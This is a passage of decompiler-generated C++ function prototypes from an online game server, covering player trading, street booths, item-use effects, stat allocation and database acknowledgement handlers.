SlantedCoordList::CoordedNode *b); void __thiscall SlantedCoordList::ObjectXCoordNode::ObjectXCoordNode(SlantedCoordList::ObjectXCoordNode *this); int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_type(SlantedCoordList::ObjectXCoordNode *this); int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_Getlocation(SlantedCoordList::ObjectXCoordNode *this); void __thiscall NPCAction::DieAction::_DieAction(SlantedCoordList::ObjectYCoordNode *this); void __thiscall SlantedCoordList::ObjectYCoordNode::ObjectYCoordNode(SlantedCoordList::ObjectYCoordNode *this); int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_type(SlantedCoordList::ObjectYCoordNode *this); int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_Getlocation(SlantedCoordList::ObjectYCoordNode *this); void __thiscall SlantedCoordList::CoordedNode::CoordedNode(SlantedCoordList::CoordedNode *this); char __thiscall SlantedCoordList::CoordedNode::cn_AppendList(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chainlist); void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain); void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink2(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain); void __thiscall SlantedCoordList::CoordedNode::cn_Rearrange(SlantedCoordList::CoordedNode *this, #585 *, #325 *); int __thiscall ShineObjectClass::ShinePlayer::sp_PointStoneBuy(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); void __thiscall GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneUse(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneUse(void *this); void __cdecl ShineObjectClass::ShinePlayer::sp_PointStone_NotInit(); void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneReserv(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneReserv(void *this); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ(void *this, int netcmd, int len, __int16 handle); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall SpamerPenaltyDataBox::SpamerPenaltyDataBox(SpamerPenaltyDataBox *this); void __thiscall SpamerPenaltyDataBox::_SpamerPenaltyDataBox(SpamerPenaltyDataBox *this); void __thiscall SpamerPenaltyDataBox::spdb_Load(SpamerPenaltyDataBox *this); unsigned __int16 __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(SpamerPenaltyDataBox *this); char __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(SpamerPenaltyDataBox *this); bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *BlockTime); bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *ProbateTime); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, ShineItemAttr_BindItem::Bind *content); int __thiscall ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(void *this, unsigned __int16 itemid, int loc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand(void *this, signed int limit); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly(void *this); void __thiscall SpyNet::EspionageAgent::EspionageAgent(SpyNet::EspionageAgent *this); void __thiscall SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this); void __thiscall SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this); void __thiscall SpyNet::IntelligenceOffice4Mob::io_SRT_GETHEAL(SpyNet::IntelligenceOffice4Mob *this, #325 *, SpyNet::SecretReport *); void __thiscall SpyNet::IntelligenceOffice::io_ReadReport(SpyNet::IntelligenceOffice *this, #325 *, SpyNet::EspionageAgent *); // int __usercall ShineObjectClass::ShinePlayer::so_ply_FreeStat_Increase(int a1, int a2, int a3, int pAck, char DecStat, char a6); // int __usercall ShineObjectClass::ShinePlayer::so_ply_FreeStat_Decrease(int a1, int a2, int a3, int pAck, char DecStat, int a6); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_STAT_INCPOINTSUC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatIncrease(void *this, int suc); void __thiscall GameDBSession::gds_NC_CHAR_STAT_INCPOINTFAIL_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_STAT_DECPOINTSUC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatDecrease(void *this, int suc); void __thiscall GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_StatRemainSend(void *this); void __thiscall GameDBSession::gds_NC_CHAR_FREESTAT_SET_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall StreetBooth::StreetBooth(StreetBooth *this); void __thiscall StreetBooth::_StreetBooth(StreetBooth *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_CheckBlockDuringMoving(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this, AbnormalStateContainer::AbstateElementInObject *aso); char __thiscall ShineObjectClass::ShineNPC::so_TentDistance(ShineObjectClass::ShineNPC *this, SHINE_XY_TYPE *boothloc); signed int __thiscall ShineObjectClass::ShinePlayer::so_TentDistance(void *this, int boothloc); char __thiscall ShineObjectClass::ShineMiniHouse::so_TentDistance(ShineObjectClass::ShineMiniHouse *this, SHINE_XY_TYPE *boothloc); void __thiscall StreetBoothSell::sb_RefreshError(StreetBoothBuy *this, #434 *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ShowBoothItem(#325 *, #434 *, char); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BoothTrade(#434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInBoothInterior(int this); void __thiscall StreetBoothSell::sb_Open(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker); void __thiscall StreetBoothSell::sb_Close(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker); void __thiscall StreetBoothSell::sb_Clear(StreetBoothSell *this); void __thiscall StreetBoothBuy::sb_Clear(StreetBoothBuy *this); void __thiscall StreetBoothSell::sb_Boarding(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker, ItemInventoryCell *cell, PROTO_NC_BOOTH_OPEN_REQ::BoothItem *boothitem, #325 *owner); void __thiscall StreetBoothBuy::sb_Boarding(StreetBoothBuy *this, InventoryLocking::InventoryCellLock *locker, ItemInventoryCell *cell, PROTO_NC_BOOTH_OPEN_REQ::BoothItem *boothitem, #325 *owner); char __thiscall ShineObjectClass::ShineObject::so_TentPoint(#325 *this, #325 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall StreetBoothBuy::sb_Show2Client(StreetBoothBuy *this, #325 *, #434 *, char); int __thiscall StreetBoothSell::sbs_FillBufferItem(StreetBoothSell *this, #325 *, char *, PROTO_NC_BOOTH_ENTRY_SELL_ACK::BoothItemList *); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, const char *str); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, char chr); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, int num); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, Name3 *id); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, ItemInventoryCell *iic); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, StringMaker::Finisher *fin); void __stdcall ShineObjectClass::ShineObject::so_SendInform2Admin(int a1); void __thiscall ShineObjectClass::ShineMobileObject::so_SendInform2Admin(void *this, int a2, int fin); void __thiscall ShineObjectClass::ShinePlayer::so_SendInform2Admin(void *this, int a2, int fin); void __thiscall ShineObjectClass::ShineMob::so_SendInform2Admin(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ(void *this, int netcmd, int i, __int16 handle); void __thiscall StreetBoothSell::sb_Show2Client(StreetBoothSell *this, #325 *, #434 *, char); void __thiscall StreetBoothBuy::StreetBoothBuy(StreetBoothBuy *this); void __thiscall StreetBoothBuy::_StreetBoothBuy(StreetBoothBuy *this); char *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_IndexString(AbnormalStateContainer::AbnormalStateElement *this); char *__thiscall StreetBoothSell::sb_Type(StreetBoothSell *this); char *__thiscall StreetBoothBuy::sb_Type(StreetBoothBuy *this); void __thiscall StreetBoothBuy::sbb_BuyAll(StreetBoothBuy *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sbb_BuyMerge(StreetBoothBuy *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sbb_BuySplitCreate(StreetBoothBuy *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sb_Trade(StreetBoothBuy *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); void __thiscall StreetBoothSell::StreetBoothSell(StreetBoothSell *this); void __thiscall StreetBoothSell::_StreetBoothSell(StreetBoothSell *this); void __thiscall StreetBoothSell::sbs_SellAll(StreetBoothSell *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, unsigned __int16); void __thiscall StreetBoothSell::sbs_SellMerge(StreetBoothSell *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, ItemBoxIterator *, unsigned __int64); void __thiscall StreetBoothSell::sbs_SellSplitCreate(StreetBoothSell *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64); void __thiscall GameDBSession::gds_NC_ITEMDB_BOOTHTRADE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall StreetBoothSell::sb_Trade(StreetBoothSell *this, #434 *, #434 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); SubAbstatePriority::StateExchange __thiscall SubAbstatePriority::PriorityBase::bp_AbStateChange(SubAbstatePriority::PriorityBase *this, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *oldparam, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *newparam); void __thiscall TargetAnalyser::TargetAnalyser(TargetAnalyser *this); void __thiscall TargetAnalyser_Player::TargetAnalyser_Player(TargetAnalyser_Player *this); void __thiscall TargetAnalyser_Player::_TargetAnalyser_Player(TargetAnalyser_Player *this); char __thiscall TargetAnalyser::ta_me(TargetAnalyser *this, #325 *target); char __thiscall TargetAnalyser_Player::ta_enemy(TargetAnalyser_Player *this, #325 *target); char __thiscall TargetAnalyser_Player::ta_friend(TargetAnalyser_Player *this, #325 *target); void __thiscall ShineObjectClass::ShinePlayer::sp_ThirdPromote(void *this, unsigned __int16 questid, char classtype); void __thiscall TickTimer::TickTimer(TickTimer *this); void __thiscall TickTimer::TickTimer(TickTimer *this, unsigned int TickDeltaTime); bool __thiscall TickTimer::Enable(TickTimer *this, bool bEnable); bool __thiscall TickTimer::IsEnable(TickTimer *this); bool __thiscall TickTimer::CheckUpdateEvent(TickTimer *this, unsigned int TickDeltaTime); unsigned int __thiscall std::basic_string_std::allocator>::find(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count); std::basic_string,std::allocator > *__cdecl std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::fill_std::allocator>___std::basic_string_std::allocator>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Val); std::basic_string,std::allocator > *__cdecl std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, unsigned int _Count, std::basic_string,std::allocator > *_Val, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::basic_string,std::allocator > *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Ptr, unsigned int _Count, std::basic_string,std::allocator > *_Val); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, unsigned int _Count, std::basic_string,std::allocator > *_Val); std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::insert(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *result, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, std::basic_string,std::allocator > *_Val); void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Val); void __cdecl tokenize(std::basic_string,std::allocator > *str, std::vector,std::allocator >,std::allocator,std::allocator > > > *result, std::basic_string,std::allocator > *delimiters, std::basic_string,std::allocator > *delimiters_preserve, std::basic_string,std::allocator > *quote, std::basic_string,std::allocator > *esc); char __thiscall ShineObjectClass::ShinePlayer::so_ply_ServerMenuactor_sma_IsReady(int this); void *__thiscall ShineObjectClass::ShineObject::so_CloseTradeMenu(void *this); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_tradepropose_timecheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_tradebreak(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_CloseByLink(void *this); void __thiscall AllOfRangeArgument::AllOfRangeArgument(AllOfRangeArgument *this); void __thiscall TradeBoard::tb_Clear(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_TradeBoardUnlock(int this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall TradeBoard::tb_FillCen(void *this, int playerA, int playerB, int a4, int A, int B, int itemtrade); char __thiscall TradeBoard::tb_Get(void *this, int idx); char __thiscall TradeBoard::tb_Next(void *this, int idx); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall TradeBoard::tb_Home(void *this, int idx); char __cdecl TradeBoard::tb_FillTradeBuffer(int playerA, int playerB, int cellA, int cellB); signed int __thiscall TradeBoard::tb_OffBoard(void *this, signed int boardslot); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ(void *this, int netcmd, int len, __int16 handle); signed int __thiscall TradeBoard::tb_OnBoard(void *this, char invenslot); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ(int a1, int a2, int netcmd, int slot, __int16 handle); int __thiscall TreasureChestMaker::tcm_GetItemNum(TreasureChestMaker *this); void __thiscall TreasureChestMaker::TreasureChestMaker(TreasureChestMaker *this, unsigned __int16 chest, int makeflag, int chestflag); void __thiscall TreasureChestMaker::_TreasureChestMaker(TreasureChestMaker *this); unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, ItemTotalInformation *iti); unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, int makeflag, ShineReward *reward, unsigned int clsmask); int __thiscall TreasureChestMaker::tcm_PutInto(TreasureChestMaker *this, int from, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall UpgradeDataBox::UpgradeDataBox(UpgradeDataBox *this); void __thiscall UpgradeDataBox::udb_Load(UpgradeDataBox *this, Name4 *world); SkillDataBox::SkillDataIndex *__thiscall UseEffect::UsedItemEffect::uie_UseSkillID(UseEffect::UsedItemEffect *this, char *skillname); void __thiscall UseEffect::UsedItemEffect::uie_BroadCast(UseEffect::UsedItemEffect *this, unsigned __int16 item, char bc); void __thiscall UseEffect::UsedItemEffect::uie_SetChargedBuffer(UseEffect::UsedItemEffect *this, unsigned __int16 item, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall UseEffect::UseItemSilverWing::UseItemSilverWing(UseEffect::UseItemSilverWing *this); void __thiscall UseEffect::UseItemNormal::UseItemNormal(UseEffect::UseItemNormal *this); void __thiscall UseEffect::UseItemRecallScroll::UseItemRecallScroll(UseEffect::UseItemRecallScroll *this); void __thiscall UseEffect::UseItemSkillScroll::UseItemSkillScroll(UseEffect::UseItemSkillScroll *this); void __thiscall UseEffect::UseItemChest::UseItemChest(UseEffect::UseItemChest *this); void __thiscall UseEffect::UseItemByTable::UseItemByTable(UseEffect::UseItemByTable *this); void __thiscall UseEffect::UseItemChargedBuff::UseItemChargedBuff(UseEffect::UseItemChargedBuff *this); void __thiscall UseEffect::UseItemMiniHouse::UseItemMiniHouse(UseEffect::UseItemMiniHouse *this); void __thiscall UseEffect::UseItemActionItem::UseItemActionItem(UseEffect::UseItemActionItem *this); void __thiscall UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture(UseEffect::UseItemMiniHouseFurniture *this); void __thiscall UseEffect::UseItemRide::UseItemRide(UseEffect::UseItemRide *this); void __thiscall UseEffect::UseItemHorseFood::UseItemHorseFood(UseEffect::UseItemHorseFood *this); void __thiscall UseEffect::UseItemItemPackage::UseItemItemPackage(UseEffect::UseItemItemPackage *this); void __thiscall UseEffect::UseItemLicenseClear::UseItemLicenseClear(UseEffect::UseItemLicenseClear *this); void __thiscall UseEffect::UseItemStatClear::UseItemStatClear(UseEffect::UseItemStatClear *this, int dbreq, int err); void __thiscall UseEffect::UseItemAmountHP::UseItemAmountHP(UseEffect::UseItemAmountHP *this); void __thiscall UseEffect::UseItemAmountSP::UseItemAmountSP(UseEffect::UseItemAmountSP *this); void __thiscall UseEffect::UseItemRoar::UseItemRoar(UseEffect::UseItemRoar *this); void __thiscall UseEffect::UseItemSkillErase::UseItemSkillErase(UseEffect::UseItemSkillErase *this); void __thiscall UseEffect::UseItemWingStone::UseItemWingStone(UseEffect::UseItemWingStone *this); void __thiscall UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(UseEffect::UseItemMemoryFeather *this); void __thiscall UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(UseEffect::UseItemBossMobDetect *this); void __thiscall UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real(UseEffect::UseItemSkillDummy2Real *this); signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_CanRecallInThisMap(void *this); unsigned __int16 __thiscall UseEffect::UseItemBase::uib_CanUseItem(UseEffect::UseItemBase *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemBossMobDetect::uib_CanUseItem(UseEffect::UseItemBossMobDetect *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemMiniHouseFurniture::uib_CanUseItem(UseEffect::UseItemMiniHouseFurniture *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemHorseFood::uib_CanUseItem(UseEffect::UseItemHorseFood *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemSkillDummy2Real::uib_CanUseItem(UseEffect::UseItemSkillDummy2Real *this, #434 *, ItemTotalInformation *); void __thiscall UseEffect::UseItemHorseFood::uib_Effect(UseEffect::UseItemHorseFood *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillDummy2Real::uib_Effect(UseEffect::UseItemSkillDummy2Real *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemPropose::UseItemPropose(UseEffect::UseItemPropose *this); unsigned __int16 __thiscall UseEffect::UseItemPropose::uib_CanUseItem(UseEffect::UseItemPropose *this, #434 *, ItemTotalInformation *); char __thiscall UseEffect::UseItemPropose::uib_DirectUse(UseEffect::UseItemPropose *this, #434 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(UseEffect::UseItemImmediateDivorce *this); unsigned __int16 __thiscall UseEffect::UseItemImmediateDivorce::uib_CanUseItem(UseEffect::UseItemImmediateDivorce *this, #434 *, ItemTotalInformation *); char __thiscall UseEffect::UseItemImmediateDivorce::uib_DirectUse(UseEffect::UseItemImmediateDivorce *this, #434 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemGuildReName::UseItemGuildReName(UseEffect::UseItemGuildReName *this); void __thiscall UseEffect::UseItemGuildReType::UseItemGuildReType(UseEffect::UseItemGuildReType *this); void __thiscall UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(UseEffect::UseItemFurnitureEndureKit *this); int __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_ProtocolMake(UseEffect::UseItemFurnitureEndureKit *this, NETCOMMAND *nc); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureHnd(UseEffect::UseItemFurnitureEndureKit *this, unsigned __int16 *nFurnitureHnd); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureKey(UseEffect::UseItemFurnitureEndureKit *this, SHINE_ITEM_REGISTNUMBER *nKey); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureEndureTime(UseEffect::UseItemFurnitureEndureKit *this, ShineDateTime *dEndureTime); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall UseEffect::UseItemMysteryBolt::UseItemMysteryBolt(UseEffect::UseItemMysteryBolt *this); void __thiscall UseEffect::UsedItemEffect::UsedItemEffect(UseEffect::UsedItemEffect *this); void __thiscall GatherProduce::GatherTable::_GatherTable(GatherProduce::GatherTable *this); void __thiscall UseEffect::UsedItemEffect::uie_Load(UseEffect::UsedItemEffect *this); void __thiscall GameDBSession::gds_NC_ITEMDB_GETFROMCHESTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GETFROMCHESTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHP(void *this, int slot, __int16 inv); void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountSP(void *this, int slot, __int16 inv); void __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(void *this, int slot, int itm); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemEffect(void *this, int effect, unsigned __int16 value, int funcstr); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Notice(void *this, int str); void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Cancel(void *this, int inven); void __thiscall ShineObjectClass::ShinePlayer::sp_AttrChange2DB(void *this, int iic, int iac, int iti, int inven); int __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalCast(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast(void *this, int inven); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMCHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall UseEffect::UseItemNoEffect::UseItemNoEffect(UseEffect::UseItemNoEffect *this); void __thiscall UseEffect::UseItemChest::_UseItemChest(UseEffect::UseItemNoEffect *this); unsigned __int16 __thiscall UseEffect::UseItemSilverWing::uib_CanUseItem(UseEffect::UseItemSilverWing *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemRecallScroll::uib_CanUseItem(UseEffect::UseItemRecallScroll *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemSkillScroll::uib_CanUseItem(UseEffect::UseItemSkillScroll *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemByTable::uib_CanUseItem(UseEffect::UseItemByTable *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemChargedBuff::uib_CanUseItem(UseEffect::UseItemChargedBuff *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemRide::uib_CanUseItem(UseEffect::UseItemRide *this, #434 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemMemoryFeather::uib_CanUseItem(UseEffect::UseItemMemoryFeather *this, #434 *, ItemTotalInformation *); void __thiscall ShineObjectClass::ShinePlayer::sp_ChestBoxOpen(void *this, __int16 slot, int itm); void __thiscall GameDBSession::gds_NC_ITEMDB_CHESTITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck(void *this, int ack); char __thiscall UseEffect::UseItemMiniHouse::uib_DirectUse(UseEffect::UseItemMiniHouse *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemMiniHouseFurniture::uib_DirectUse(UseEffect::UseItemMiniHouseFurniture *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemRide::uib_DirectUse(UseEffect::UseItemRide *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemChest::uib_DirectUse(UseEffect::UseItemChest *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemMysteryBolt::uib_DirectUse(UseEffect::UseItemMysteryBolt *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemLicenseClear::uib_DirectUse(UseEffect::UseItemLicenseClear *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemStatClear::uib_DirectUse(UseEffect::UseItemStatClear *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemAmountHP::uib_DirectUse(UseEffect::UseItemAmountHP *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemAmountSP::uib_DirectUse(UseEffect::UseItemAmountSP *this, #434 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemBossMobDetect::uib_DirectUse(UseEffect::UseItemBossMobDetect *this, #434 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemRecallScroll::uib_Effect(UseEffect::UseItemRecallScroll *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall 